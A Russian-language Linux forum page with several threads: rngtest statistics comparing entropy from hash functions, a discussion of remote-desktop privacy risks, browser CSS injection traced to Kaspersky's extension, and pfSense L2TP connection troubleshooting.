      > "RNG генерит случайные числа  на основе данных из пула энтропии(entropy pool) в ядре Linux. Наполнением этого пула так же занимается RNG и  делается это на основе случайных событий в системе таких как: тайминги клавиатуры и дисков, движения мыши, прерывания(interrupts), сетевой трафик.

      Всё это влияет на первые тесты стандартных источников энтропии в системе. Их тоже привёл для сравнения результатов.

      > Поэтому ваш эксперимент нужно проводить не единоразово, а прогонять один и тот же тест по кругу в течении недели...и усреднить значения.

      Вот выше предложил прогнать тест:


      bash entropy-time-hash sha224 |rngtest -c 1000000
      bash entropy-time-hash sha384 |rngtest -c 1000000

      получить точную цифру после 9 и разъяснить всем почему энтропия от sha384 хуже чем от sha224.Это же две контрольные сумы одного стандарта SHA2 !
      сообщить модератору +/ответить
  • Статистическое исследование зависимости энтропии из контрольных сум от входных д, !*! Аноним (17), 18:07 , 10-Апр-23 (17)
    Статистическое исследование зависимости энтропии из контрольных сум от входных данных.

    Первый тест в этой теме получен из входных данных следующего типа:


    original (Pseudo entropy file: "ASCII text, with very long lines" ~75K)
    Like:
    dd if=/dev/urandom status=none |tr -dc 0-9A-Za-z_+\-:\.,\ /\[\]\<\>\(\)\#\\n |dd bs=1b count=150 status=none

    Контрольные сумы с подозрительными результатами sha1, sha224, sha384 и tiger перепроверил с разными входящими данными.
    В статистическом исследовании проводилось всего 10 000 тестов, чего явно недостаточно чтобы дать точную цифру после трёх девяток!
    Отмечаем, что sha384 победил со следующими входными данными:
    1. date +%-N%s
    2. date +%-N%s |b2sum |sed 's/[ -]//g'
    4. dd if=/dev/urandom status=none |tr -dc 0-9 |dd bs=1b count=3 status=none
    5. dd if=/dev/urandom status=none |tr -dc 0-9a-f |dd bs=1172c count=1 status=none
    И опять проиграл в тесте с входными данными:
    3. dd if=/dev/urandom status=none |tr -dc 0-9A-Za-z_+\-:\.,\ /\[\]\<\>\(\)\#\\n |dd bs=1b count=200 status=none
    в котором sha1 и tiger опять удержали два первых места, причём tiger подтвердил лучший результат.

    То что сума ошибок в тестах больше "failures" означает что ошибки случились в одном и томже тестируемом блоке.
    Такие результаты tiger в 4 тесте возможно из-за временной большой нагрузки на комп, load average: ~20

    1.


    date +%-N%s

    sha1
    rngtest: FIPS 140-2 successes: 9989
    rngtest: FIPS 140-2 failures: 11
    rngtest: FIPS 140-2(2001-10-10) Monobit: 2
    rngtest: FIPS 140-2(2001-10-10) Poker: 1
    rngtest: FIPS 140-2(2001-10-10) Runs: 5
    rngtest: FIPS 140-2(2001-10-10) Long run: 3
    rngtest: FIPS 140-2(2001-10-10) Continuous run: 0


    sha224
    rngtest: FIPS 140-2 successes: 9992
    rngtest: FIPS 140-2 failures: 8
    rngtest: FIPS 140-2(2001-10-10) Monobit: 2
    rngtest: FIPS 140-2(2001-10-10) Poker: 1
    rngtest: FIPS 140-2(2001-10-10) Runs: 3
    rngtest: FIPS 140-2(2001-10-10) Long run: 2
    rngtest: FIPS 140-2(2001-10-10) Continuous run: 0


    sha384
    rngtest: FIPS 140-2 successes: 9992
    rngtest: FIPS 140-2 failures: 8
    rngtest: FIPS 140-2(2001-10-10) Monobit: 3
    rngtest: FIPS 140-2(2001-10-10) Poker: 1
    rngtest: FIPS 140-2(2001-10-10) Runs: 1
    rngtest: FIPS 140-2(2001-10-10) Long run: 3
    rngtest: FIPS 140-2(2001-10-10) Continuous run: 0


    tiger
    rngtest: FIPS 140-2 successes: 9991
    rngtest: FIPS 140-2 failures: 9
    rngtest: FIPS 140-2(2001-10-10) Monobit: 1
    rngtest: FIPS 140-2(2001-10-10) Poker: 2
    rngtest: FIPS 140-2(2001-10-10) Runs: 4
    rngtest: FIPS 140-2(2001-10-10) Long run: 2
    rngtest: FIPS 140-2(2001-10-10) Continuous run: 0

    2.


    date +%-N%s |b2sum |sed 's/[ -]//g'

    sha1
    rngtest: FIPS 140-2 successes: 9990
    rngtest: FIPS 140-2 failures: 10
    rngtest: FIPS 140-2(2001-10-10) Monobit: 1
    rngtest: FIPS 140-2(2001-10-10) Poker: 0
    rngtest: FIPS 140-2(2001-10-10) Runs: 5
    rngtest: FIPS 140-2(2001-10-10) Long run: 4
    rngtest: FIPS 140-2(2001-10-10) Continuous run: 0


    sha224
    rngtest: FIPS 140-2 successes: 9993
    rngtest: FIPS 140-2 failures: 7
    rngtest: FIPS 140-2(2001-10-10) Monobit: 2
    rngtest: FIPS 140-2(2001-10-10) Poker: 2
    rngtest: FIPS 140-2(2001-10-10) Runs: 2
    rngtest: FIPS 140-2(2001-10-10) Long run: 1
    rngtest: FIPS 140-2(2001-10-10) Continuous run: 0


    sha384
    rngtest: FIPS 140-2 successes: 9994
    rngtest: FIPS 140-2 failures: 6
    rngtest: FIPS 140-2(2001-10-10) Monobit: 0
    rngtest: FIPS 140-2(2001-10-10) Poker: 0
    rngtest: FIPS 140-2(2001-10-10) Runs: 4
    rngtest: FIPS 140-2(2001-10-10) Long run: 2
    rngtest: FIPS 140-2(2001-10-10) Continuous run: 0


    tiger
    rngtest: FIPS 140-2 successes: 9994
    rngtest: FIPS 140-2 failures: 6
    rngtest: FIPS 140-2(2001-10-10) Monobit: 1
    rngtest: FIPS 140-2(2001-10-10) Poker: 1
    rngtest: FIPS 140-2(2001-10-10) Runs: 2
    rngtest: FIPS 140-2(2001-10-10) Long run: 2
    rngtest: FIPS 140-2(2001-10-10) Continuous run: 0

    3.


    original (Pseudo entropy file: "ASCII text, with very long lines" ~100K)
    Like:
    dd if=/dev/urandom status=none |tr -dc 0-9A-Za-z_+\-:\.,\ /\[\]\<\>\(\)\#\\n |dd bs=1b count=200 status=none

    sha1
    rngtest: FIPS 140-2 successes: 9994
    rngtest: FIPS 140-2 failures: 6
    rngtest: FIPS 140-2(2001-10-10) Monobit: 0
    rngtest: FIPS 140-2(2001-10-10) Poker: 0
    rngtest: FIPS 140-2(2001-10-10) Runs: 3
    rngtest: FIPS 140-2(2001-10-10) Long run: 3
    rngtest: FIPS 140-2(2001-10-10) Continuous run: 0


    sha-224
    rngtest: FIPS 140-2 successes: 9993
    rngtest: FIPS 140-2 failures: 7
    rngtest: FIPS 140-2(2001-10-10) Monobit: 1
    rngtest: FIPS 140-2(2001-10-10) Poker: 0
    rngtest: FIPS 140-2(2001-10-10) Runs: 2
    rngtest: FIPS 140-2(2001-10-10) Long run: 4
    rngtest: FIPS 140-2(2001-10-10) Continuous run: 0


    sha-384
    rngtest: FIPS 140-2 successes: 9991
    rngtest: FIPS 140-2 failures: 9
    rngtest: FIPS 140-2(2001-10-10) Monobit: 1
    rngtest: FIPS 140-2(2001-10-10) Poker: 1
    rngtest: FIPS 140-2(2001-10-10) Runs: 4
    rngtest: FIPS 140-2(2001-10-10) Long run: 3
    rngtest: FIPS 140-2(2001-10-10) Continuous run: 0


    tiger
    rngtest: FIPS 140-2 successes: 9997
    rngtest: FIPS 140-2 failures: 3
    rngtest: FIPS 140-2(2001-10-10) Monobit: 0
    rngtest: FIPS 140-2(2001-10-10) Poker: 0
    rngtest: FIPS 140-2(2001-10-10) Runs: 1
    rngtest: FIPS 140-2(2001-10-10) Long run: 2
    rngtest: FIPS 140-2(2001-10-10) Continuous run: 0

    4.


    integer (Pseudo entropy integer: >1500 digits)
    Like:
    dd if=/dev/urandom status=none |tr -dc 0-9 |dd bs=1b count=3 status=none

    sha1
    rngtest: FIPS 140-2 successes: 9989
    rngtest: FIPS 140-2 failures: 11
    rngtest: FIPS 140-2(2001-10-10) Monobit: 1
    rngtest: FIPS 140-2(2001-10-10) Poker: 1
    rngtest: FIPS 140-2(2001-10-10) Runs: 4
    rngtest: FIPS 140-2(2001-10-10) Long run: 5
    rngtest: FIPS 140-2(2001-10-10) Continuous run: 0


    sha-224
    rngtest: FIPS 140-2 successes: 9988
    rngtest: FIPS 140-2 failures: 12
    rngtest: FIPS 140-2(2001-10-10) Monobit: 3
    rngtest: FIPS 140-2(2001-10-10) Poker: 2
    rngtest: FIPS 140-2(2001-10-10) Runs: 5
    rngtest: FIPS 140-2(2001-10-10) Long run: 2
    rngtest: FIPS 140-2(2001-10-10) Continuous run: 0


    sha-384
    rngtest: FIPS 140-2 successes: 9995
    rngtest: FIPS 140-2 failures: 5
    rngtest: FIPS 140-2(2001-10-10) Monobit: 1
    rngtest: FIPS 140-2(2001-10-10) Poker: 0
    rngtest: FIPS 140-2(2001-10-10) Runs: 3
    rngtest: FIPS 140-2(2001-10-10) Long run: 1
    rngtest: FIPS 140-2(2001-10-10) Continuous run: 0


    tiger
    rngtest: FIPS 140-2 successes: 9988
    rngtest: FIPS 140-2 failures: 12
    rngtest: FIPS 140-2(2001-10-10) Monobit: 2
    rngtest: FIPS 140-2(2001-10-10) Poker: 1
    rngtest: FIPS 140-2(2001-10-10) Runs: 6
    rngtest: FIPS 140-2(2001-10-10) Long run: 6
    rngtest: FIPS 140-2(2001-10-10) Continuous run: 1

    5.


    hashed (Pseudo entropy hexadecimal: <=1172 symbols)
    Like:
    dd if=/dev/urandom status=none |tr -dc 0-9a-f |dd bs=1172c count=1 status=none

    sha1
    rngtest: FIPS 140-2 successes: 9990
    rngtest: FIPS 140-2 failures: 10
    rngtest: FIPS 140-2(2001-10-10) Monobit: 1
    rngtest: FIPS 140-2(2001-10-10) Poker: 0
    rngtest: FIPS 140-2(2001-10-10) Runs: 3
    rngtest: FIPS 140-2(2001-10-10) Long run: 6
    rngtest: FIPS 140-2(2001-10-10) Continuous run: 0


    sha-224
    rngtest: FIPS 140-2 successes: 9991
    rngtest: FIPS 140-2 failures: 9
    rngtest: FIPS 140-2(2001-10-10) Monobit: 3
    rngtest: FIPS 140-2(2001-10-10) Poker: 1
    rngtest: FIPS 140-2(2001-10-10) Runs: 2
    rngtest: FIPS 140-2(2001-10-10) Long run: 4
    rngtest: FIPS 140-2(2001-10-10) Continuous run: 0


    sha-384
    rngtest: FIPS 140-2 successes: 9995
    rngtest: FIPS 140-2 failures: 5
    rngtest: FIPS 140-2(2001-10-10) Monobit: 0
    rngtest: FIPS 140-2(2001-10-10) Poker: 0
    rngtest: FIPS 140-2(2001-10-10) Runs: 2
    rngtest: FIPS 140-2(2001-10-10) Long run: 3
    rngtest: FIPS 140-2(2001-10-10) Continuous run: 0


    tiger
    rngtest: FIPS 140-2 successes: 9989
    rngtest: FIPS 140-2 failures: 11
    rngtest: FIPS 140-2(2001-10-10) Monobit: 1
    rngtest: FIPS 140-2(2001-10-10) Poker: 1
    rngtest: FIPS 140-2(2001-10-10) Runs: 6
    rngtest: FIPS 140-2(2001-10-10) Long run: 3
    rngtest: FIPS 140-2(2001-10-10) Continuous run: 0


    сообщить модератору +/ответить
    • Во время этого теста жестко ребутился комп и в файл с энтропией записалась после, !*! Аноним (18), 15:10 , 13-Апр-23 (18)
      > 4. dd if=/dev/urandom status=none |tr -dc 0-9 |dd bs=1b count=3 status=none
      > Такие результаты tiger в 4 тесте возможно из-за временной большой нагрузки на комп, load average: ~20

      Во время этого теста жестко ребутился комп и в файл с энтропией записалась последовательность "нулей": ^@^@^@^@^@^... которая испортила два блока. Без испорченых блоков результат теста для tiger:

      4.

       
      integer (Pseudo entropy integer: >1500 digits)
      Like:
      dd if=/dev/urandom status=none |tr -dc 0-9 |dd bs=1b count=3 status=none

      tiger
      rngtest: FIPS 140-2 successes: 9990
      rngtest: FIPS 140-2 failures: 10
      rngtest: FIPS 140-2(2001-10-10) Monobit: 1
      rngtest: FIPS 140-2(2001-10-10) Poker: 0
      rngtest: FIPS 140-2(2001-10-10) Runs: 5
      rngtest: FIPS 140-2(2001-10-10) Long run: 4
      rngtest: FIPS 140-2(2001-10-10) Continuous run: 0


      сообщить модератору +/ответить


Удаленный доступ по SSH (удаленный рабочый стол, Sshd и т.д.), !*! lori, (Шифрование, SSH, SSL / Другая система) 30-Май-24, 01:58  [ | | | ] [линейный вид] [смотреть все] [раскрыть новое]
  • Ты думаешь перекачку твоих гигабайтов данных через SSH так трудно заметить , !*! Виктор (??), 01:41 , 01-Июн-24 (4)
    Ты думаешь перекачку твоих гигабайтов данных через SSH так трудно заметить?
    сообщить модератору +/ответить
  • Виндовс головного мозга Может лучше не заниматься ничем таким, за что статья пре, !*! Аноним (5), 13:00 , 01-Июн-24 (5) +2
    >есть ли программа под Linux\Windows
    >ЧТО ВАЖНО - с графическим интерфейсом а не коммандной строкой!
    >приватности и повышенной безопасности

    Виндовс головного мозга.

    >Что бы никакая Яровaя свой nose не сувала и не пронюхивала

    Может лучше не заниматься ничем таким, за что статья предусмотрена?

    Тебе надо понять, что никакой "приватности и повышенной безопасности" не существует. Это просто слова. Повышенная безопасность - это примерно как вторая свежесть. Есть риски, которые могут быть снижены за счет определенных практик. Начать надо с понимания рисков. Дальше осваивать практики. Это не так, что ты поставишь варезину и дальше у тебя все хорошо. Безопасность - это процесс (а не продукт) (с) Брюс Мартинович Шнайер

    Переходим к идее удаленных столов. Она естественна только для мира виндовс, где изначально не было криптографии, особенно для шифрования файлов и дисков. Та, что появлялась, каждый раз оказывалась ненадежной или была скомпрометирована. Кажется логично хранить свой чайлдпорн за пределами своего компьютера. Риск в данном случае в компрометации локального компа, получении доступа к данным.

    С удаленным столом рисков по факту становится только больше. Нельзя исключать доступ к серверу сотрудников датацентра или какой-нибудь служебный бэкдор для управления серверами (OWH ставило раньше ОС со своим кастомным ядром для этих целей). В виртуализированной среде говорить о какой-либо безопасности нельзя вообще. Химичат и с памятью, и с блочными устройствами. Ключи для расшифровки блочного устройства всегда можно взять из памяти.
    Даже если арендовать сервер без BMC, попросить к нему IP-KVM и поставить систему с нуля, любая незапланированная перезагрузка - это компрометация сервера, необходимость переустановки, смена всех ключей доступа. Об этом хотя бы есть шансы узнать. По факту для компрометации сервера достаточно воткнуть USB устройство. Сразу после этого очищаются все логи и внедряется руткит.
    Даже чтобы охватить всю проблематику связанную с безопасной настройкой серверов под хранение чувствительных данных, нужно серьезно понимать в вопросах администрирования и безопасности.

    TLDR Tails и LUKS на локалхосте используй.

    сообщить модератору +2 +/ответить
Kaspersky сканер для Linux, !*! Rodin, (ПО для тестирования и диагностики / Linux) 16-Май-24, 15:38  [ | | | ] [линейный вид] [смотреть все] [раскрыть новое]
oid для IMEI, !*! йцукенфывап, (Разное / Другая система) 10-Апр-24, 10:43  [ | | | ] [линейный вид] [смотреть все] [раскрыть новое]
Memory erasure in Kodachi, !*! rt000, (ПО для увеличения безопасности) 14-Апр-24, 03:15  [ | | | ] [линейный вид] [смотреть все] [раскрыть новое]
Заражение браузера, в CSS прописаны 'левые сайты', !*! revun, (Блокирование спама и вирусов / Другая система) 22-Ноя-21, 14:44  [ | | | ] [линейный вид] [смотреть все] [раскрыть новое]
  • gt оверквотинг удален Вы один пользуетесь компьютером и этой учеткой , !*! Павел Отредиез (ok), 17:02 , 22-Ноя-21 (1)
    >[оверквотинг удален]
    > Система Windows X. Проблема с заражением браузера.
    > Спецом не являюсь так что прошу заранее прощения за отсутствие сленга и
    > "свободное плавание" в вопросе.
    > При изучении кода браузеров - эдж/хром/мозила обнаружил теги не присущие для сайтов
    > прописаны в теге style, а также ссылки ведущие на всякие непонятные
    > сайты.
    > при просмотре с других устройств таких паразитов не обнаруживается, потому считаю, что
    > заражено именно моё устройство. Использование MBAM, Kaspersky, DRWeb и прочими не
    > выявляет источник заразы.
    > Заранее благодарен.

    Вы один пользуетесь компьютером и этой учеткой?

    сообщить модератору +/ответить
    • gt оверквотинг удален да, !*! Виталий (??), 18:53 , 22-Ноя-21 (2)
      >[оверквотинг удален]
      >> Спецом не являюсь так что прошу заранее прощения за отсутствие сленга и
      >> "свободное плавание" в вопросе.
      >> При изучении кода браузеров - эдж/хром/мозила обнаружил теги не присущие для сайтов
      >> прописаны в теге style, а также ссылки ведущие на всякие непонятные
      >> сайты.
      >> при просмотре с других устройств таких паразитов не обнаруживается, потому считаю, что
      >> заражено именно моё устройство. Использование MBAM, Kaspersky, DRWeb и прочими не
      >> выявляет источник заразы.
      >> Заранее благодарен.
      > Вы один пользуетесь компьютером и этой учеткой?

      да


      сообщить модератору +/ответить
  • 11 само себя не поставит Время пришло , !*! DeerFriend (?), 20:03 , 22-Ноя-21 (3)
    11 само себя не поставит. Время пришло.
    сообщить модератору +/ответить
  • Наверное X Window System X Window не связана с кодом браузеровЭмм, покажите исх, !*! ыы (?), 20:17 , 22-Ноя-21 (4)
    > Всем доброго времени суток!
    > Система Windows X. Проблема с заражением браузера.

    Наверное X Window System ?

    > При изучении кода браузеров - эдж/хром/мозила

    X Window не связана с кодом браузеров

    > обнаружил теги не присущие для сайтов

    Эмм, покажите исходник где нашли такое...

    > прописаны в теге style, а также ссылки ведущие на всякие непонятные сайты.

    Удалите их

    > при просмотре с других устройств таких паразитов не обнаруживается

    Возможно все дело в том чем вы смотрите


    сообщить модератору +/ответить
    • style type text css nonce undefined ct-bottom-ads, ct_ad, cta-ad, ctg-ad, , !*! Виталий (??), 21:33 , 22-Ноя-21 (5)
      >> Всем доброго времени суток!
      >> Система Windows X. Проблема с заражением браузера.
      > Наверное X Window System ?                                         - совершенно верно
      >> При изучении кода браузеров - эдж/хром/мозила
      > X Window не связана с кодом браузеров
      >> обнаружил теги не присущие для сайтов
      > Эмм, покажите исходник где нашли такое...                           - не нахожу здесь интерфейса для отправки исходника или прикрепления скрина, потому выкладываю как могу, извините. в элементе более 100 строк потому только частично привожу.

      <style type="text/css" nonce="undefined">.ct-bottom-ads,.ct_ad,.cta-ad,.ctg-ad,.ctips-ad-unit,.ctn-advertising,.ctnAdSkyscraper,.ctnAdSquare300,.ctn_ads_rhs,.ctn_ads_rhs_organic,.ctpl-duplicated-ad,.ctr-tss-ads,.cube-ad,.cubeAd,.cube_ad,.cube_ads,.cubead-widget,.currency_ad,.custom-ad-container,.custom-ad-one,.custom-ads,.custom-advert-banner,.custom-banner-leaderboard-ad,.customAd,.custom_ad,.custom_ads,.custom_banner_ad,.custom_footer_ad,.customadvert,.customized_ad_module,.cwAdvert,.cwv2Ads,.cxAdvertisement,.cyads650x100,.cz-sponsorposts,.d1-top-ad,.d3-c-adblock,.d499d-ads-160x90-left,.d499d-ads-160x90-right,.d499d-ads-311x300-up,.d499d-ads-635x100,.da-custom-ad-box,.da-widget,.da_adp_teaser,.dac__banner__wrapper,.dac__mpu-card,.dac__stream-mpu-card,.dart-ad,.dart-ad-content,.dart-ad-grid,.dart-ad-taboola,.dart-ad-title,.dart-advertisement,.dart-leaderboard,.dart-leaderboard-top,.dart-medsquare,.dartAd300,.dartAd491,.dartAdImage,.dart_ad,.dart_tag,.dartad,.dartadbanner,.dartadvert,.dartiframe,.datafile-ad,.datasphere-ad-front,.dc-ad,.dc-banner,.dc-half-banner,.dc-widget-adv-125,.dcAdvertHeader,.dcm-advert,.dcmads,.dd-ad,.dd-ad-container,.dda-ad,.ddb,.ddc-table-ad,.deadblocker-header-bar,.deadblocker-header-bar-inner,.deckAd,.deckads,.default-teaser__adv,.default_rc_theme,.demo-advert,.desktop-ad,.desktop-ad-banner,.desktop-ad-inpage,.desktop-ads,.desktop-advert,.desktop-article-top-ad,.desktop-aside-ad,.desktop-aside-ad-hide,.desktop-in-content-native-ad,.desktop-lazy-ads,.desktop-postcontentad-wrapper,.desktop-sidebar-ad-wrapper,.desktop-top-ad-wrapper,.desktop.ad,.desktopAd,.desktop_ad,.desktop_only_ad,.desktopads,.desktoponlyad,.detach_container__sponsor-link,.detail-ad,.detail-ads,.detailMpu,.detailSidebar-adPanel,.detail__ad--small,.detail_ad,.detail_article_ad,.detail_top_advert,.details-advert,.detectBlockBox,.detected-block-modal,.devil-ad-spot,.dex-
      ......}</style>

      Таких элементов в <head></head> 7 штук

      >> прописаны в теге style, а также ссылки ведущие на всякие непонятные сайты.
      > Удалите их                                                                   - делал неоднократно, но удаление ничего не даёт, поскольку это в ситуативном окне, при обновлении браузера элементы появляются сызнова.
      >> при просмотре с других устройств таких паразитов не обнаруживается
      > Возможно все дело в том чем вы смотрите                                      - поражены мозила/эдж/опера/хром, в более экзотических браузерах этих элементов нет

      сообщить модератору +/ответить
      • Красотиша Зеленый замочек есть Создатель - круасафчег , !*! Аноним (-), 13:22 , 23-Ноя-21 (8)
        Красотиша . Зеленый замочек есть? Создатель - круасафчег.
        сообщить модератору +/ответить
      • gt оверквотинг удален А где здесь сайты , !*! Doctorrr (ok), 13:32 , 06-Дек-22 (9)
        >[оверквотинг удален]
        >> X Window не связана с кодом браузеров
        >>> обнаружил теги не присущие для сайтов
        >> Эмм, покажите исходник где нашли такое...                           - не нахожу здесь интерфейса для отправки исходника или прикрепления скрина, потому выкладываю как могу, извините. в элементе более 100 строк потому только частично привожу.
        > <style type="text/css" nonce="undefined">.ct-bottom-ads,.ct_ad,.cta-ad,.ctg-ad,.ctips-ad-unit,.ctn-advertising,.ctnAdSkyscraper,.ctnAdSquare300,.ctn_ads_rhs,.ctn_ads_rhs_organic,.ctpl-duplicated-ad,.ctr-tss-ads,.cube-ad,.cubeAd,.cube_ad,.cube_ads,.cubead-widget,.currency_ad,.custom-ad-container,.custom-ad-one,.custom-ads,.custom-advert-banner,.custom-banner-leaderboard-ad,.customAd,.custom_ad,.custom_ads,.custom_banner_ad,.custom_footer_ad,.customadvert,.customized_ad_module,.cwAdvert,.cwv2Ads,.cxAdvertisement,.cyads650x100,.cz-sponsorposts,.d1-top-ad,.d3-c-adblock,.d499d-ads-160x90-left,.d499d-ads-160x90-right,.d499d-ads-311x300-up,.d499d-ads-635x100,.da-custom-ad-box,.da-widget,.da_adp_teaser,.dac__banner__wrapper,.dac__mpu-card,.dac__stream-mpu-card,.dart-ad,.dart-ad-content,.dart-ad-grid,.dart-ad-taboola,.dart-ad-title,.dart-advertisement,.dart-leaderboard,.dart-leaderboard-top,.dart-medsquare,.dartAd300,.dartAd491,.dartAdImage,.dart_ad,.dart_tag,.dartad,.dartadbanner,.dartadvert,.dartiframe,.datafile-ad,.datasphere-ad-front,.dc-ad,.dc-banner,.dc-half-banner,.dc-widget-adv-125,.dcAdvertHeader,.dcm-advert,.dcmads,.dd-ad,.dd-ad-container,.dda-ad,.ddb,.ddc-table-ad,.deadblocker-header-bar,.deadblocker-header-bar-inner,.deckAd,.deckads,.default-teaser__adv,.default_rc_theme,.demo-advert,.desktop-ad,.desktop-ad-banner,.desktop-ad-inpage,.desktop-ads,.desktop-advert,.desktop-article-top-ad,.desktop-aside-ad,.desktop-aside-ad-hide,.desktop-in-content-native-ad,.desktop-lazy-ads,.desktop-postcontentad-wrapper,.desktop-sidebar-ad-wrapper,.desktop-top-ad-wrapper,.desktop.ad,.desktopAd,.desktop_ad,.desktop_only_ad,.desktopads,.desktoponlyad,.detach_container__sponsor-link,.detail-ad,.detail-ads,.detailMpu,.detailSidebar-adPanel,.detail__ad--small,.detail_ad,.detail_article_ad,.detail_top_advert,.details-advert,.detectBlockBox,.detected-block-modal,.devil-ad-spot,.dex-
        > ......}</style>
        > Таких элементов в <head></head> 7 штук
        >>> прописаны в теге style, а также ссылки ведущие на всякие непонятные сайты.
        >> Удалите их                                                                   - делал неоднократно, но удаление ничего не даёт, поскольку это в ситуативном окне, при обновлении браузера элементы появляются сызнова.
        >>> при просмотре с других устройств таких паразитов не обнаруживается
        >> Возможно все дело в том чем вы смотрите                                      - поражены мозила/эдж/опера/хром, в более экзотических браузерах этих элементов нет

        А где здесь сайты?

        сообщить модератору +/ответить
      • Столкнулся с похожей проблемой Оказалось - это сам Касперский добавляет этот ко, !*! Ден (??), 16:13 , 01-Апр-24 (10)
        Столкнулся с похожей проблемой. Оказалось - это сам Касперский добавляет этот код на страницу. Если отключить расширение Kaspersky Protection - то все эти добавки благополучно исчезают. Писал в Kaspersky поддержку - они посоветовали в настройках Kaspersky Total Security отключить "значок шестеренки в левом нижнем углу" -> Настройки -> Настройки сети == > Внедрять в трафик скрипт взаимодействия  с веб-страницами.
        Это, конечно, отрубит и защиту, которую дает Kaspersky при просмотре сайтов, но зато не будет этих непонятных добавок. Вот жду ответа от поддержки - про то, что эти добавки вредоносные или наоборот для зашиты от вреда.

        ========================


        >[оверквотинг удален]
        >> X Window не связана с кодом браузеров
        >>> обнаружил теги не присущие для сайтов
        >> Эмм, покажите исходник где нашли такое...                           - не нахожу здесь интерфейса для отправки исходника или прикрепления скрина, потому выкладываю как могу, извините. в элементе более 100 строк потому только частично привожу.
        > <style type="text/css" nonce="undefined">.ct-bottom-ads,.ct_ad,.cta-ad,.ctg-ad,.ctips-ad-unit,.ctn-advertising,.ctnAdSkyscraper,.ctnAdSquare300,.ctn_ads_rhs,.ctn_ads_rhs_organic,.ctpl-duplicated-ad,.ctr-tss-ads,.cube-ad,.cubeAd,.cube_ad,.cube_ads,.cubead-widget,.currency_ad,.custom-ad-container,.custom-ad-one,.custom-ads,.custom-advert-banner,.custom-banner-leaderboard-ad,.customAd,.custom_ad,.custom_ads,.custom_banner_ad,.custom_footer_ad,.customadvert,.customized_ad_module,.cwAdvert,.cwv2Ads,.cxAdvertisement,.cyads650x100,.cz-sponsorposts,.d1-top-ad,.d3-c-adblock,.d499d-ads-160x90-left,.d499d-ads-160x90-right,.d499d-ads-311x300-up,.d499d-ads-635x100,.da-custom-ad-box,.da-widget,.da_adp_teaser,.dac__banner__wrapper,.dac__mpu-card,.dac__stream-mpu-card,.dart-ad,.dart-ad-content,.dart-ad-grid,.dart-ad-taboola,.dart-ad-title,.dart-advertisement,.dart-leaderboard,.dart-leaderboard-top,.dart-medsquare,.dartAd300,.dartAd491,.dartAdImage,.dart_ad,.dart_tag,.dartad,.dartadbanner,.dartadvert,.dartiframe,.datafile-ad,.datasphere-ad-front,.dc-ad,.dc-banner,.dc-half-banner,.dc-widget-adv-125,.dcAdvertHeader,.dcm-advert,.dcmads,.dd-ad,.dd-ad-container,.dda-ad,.ddb,.ddc-table-ad,.deadblocker-header-bar,.deadblocker-header-bar-inner,.deckAd,.deckads,.default-teaser__adv,.default_rc_theme,.demo-advert,.desktop-ad,.desktop-ad-banner,.desktop-ad-inpage,.desktop-ads,.desktop-advert,.desktop-article-top-ad,.desktop-aside-ad,.desktop-aside-ad-hide,.desktop-in-content-native-ad,.desktop-lazy-ads,.desktop-postcontentad-wrapper,.desktop-sidebar-ad-wrapper,.desktop-top-ad-wrapper,.desktop.ad,.desktopAd,.desktop_ad,.desktop_only_ad,.desktopads,.desktoponlyad,.detach_container__sponsor-link,.detail-ad,.detail-ads,.detailMpu,.detailSidebar-adPanel,.detail__ad--small,.detail_ad,.detail_article_ad,.detail_top_advert,.details-advert,.detectBlockBox,.detected-block-modal,.devil-ad-spot,.dex-
        > ......}</style>
        > Таких элементов в <head></head> 7 штук
        >>> прописаны в теге style, а также ссылки ведущие на всякие непонятные сайты.
        >> Удалите их                                                                   - делал неоднократно, но удаление ничего не даёт, поскольку это в ситуативном окне, при обновлении браузера элементы появляются сызнова.
        >>> при просмотре с других устройств таких паразитов не обнаруживается
        >> Возможно все дело в том чем вы смотрите                                      - поражены мозила/эдж/опера/хром, в более экзотических браузерах этих элементов нет

        сообщить модератору +/ответить
pfsense, l2tp и постоянные попытки коннекта, !*! Olenevod, (Разное / FreeBSD) 15-Янв-24, 16:02  [ | | | ] [линейный вид] [смотреть все] [раскрыть новое]
  • забыл что l2tp это во-первых udp и во-вторых внутри ipsec и наблокировал не то , !*! Ann None (?), 18:03 , 16-Янв-24 (1)
    > попытка в файрволле закрыть все входящие с адреса yyy на интерфейсе WAN
    > с перезапуском l2tp сервера ни к чему не привели.

    забыл что l2tp это во-первых udp и во-вторых внутри ipsec и наблокировал не то?

    сообщить модератору +/ответить
    • нет, тут всё хуже, после обновления с 2 6 на 2 7 и ликвидацией DES часть клиенто, !*! Olenevod (ok), 10:07 , 17-Янв-24 (2)
      >> попытка в файрволле закрыть все входящие с адреса yyy на интерфейсе WAN
      >> с перезапуском l2tp сервера ни к чему не привели.
      > забыл что l2tp это во-первых udp и во-вторых внутри ipsec и наблокировал
      > не то?

      нет, тут всё хуже, после обновления с 2.6 на 2.7 и ликвидацией DES часть клиентов перешла на чистый l2tp (рекламируют лайфхак с правкой виндового реестра и параметра prohibitipsec). Но я Блокиоровал любые udp соединения с этого адреса. И на интерфейсе IPSEC тоже блокировал.
      Сегодня ночью отключил на 5 часов l2tp сервер. И вот результаты. 1. Сменился ip с которого идут запросы, но провайдер тот же. 2. сбросился счётчик звонков. 3. В файрволле в правиле пропуска l2tp зафиксировал доступ с нового адреса. Но на этом всё.
      Простой перезапуск l2tp сервера с простоем в 5 минут не сбрасывает счётчик звонков, и в файрволле больше не появляется запись о прохождении пакетов, но в журнале l2tp они фиксируются так, как указано выше.


      сообщить модератору +/ответить
      • gt оверквотинг удален в общем, выяснил правила Pfsense действуют по умолчанию, !*! Olenevod (ok), 11:18 , 22-Янв-24 (3)
        >[оверквотинг удален]
        > DES часть клиентов перешла на чистый l2tp (рекламируют лайфхак с правкой
        > виндового реестра и параметра prohibitipsec). Но я Блокиоровал любые udp соединения
        > с этого адреса. И на интерфейсе IPSEC тоже блокировал.
        > Сегодня ночью отключил на 5 часов l2tp сервер. И вот результаты. 1.
        > Сменился ip с которого идут запросы, но провайдер тот же. 2.
        > сбросился счётчик звонков. 3. В файрволле в правиле пропуска l2tp зафиксировал
        > доступ с нового адреса. Но на этом всё.
        > Простой перезапуск l2tp сервера с простоем в 5 минут не сбрасывает счётчик
        > звонков, и в файрволле больше не появляется запись о прохождении пакетов,
        > но в журнале l2tp они фиксируются так, как указано выше.

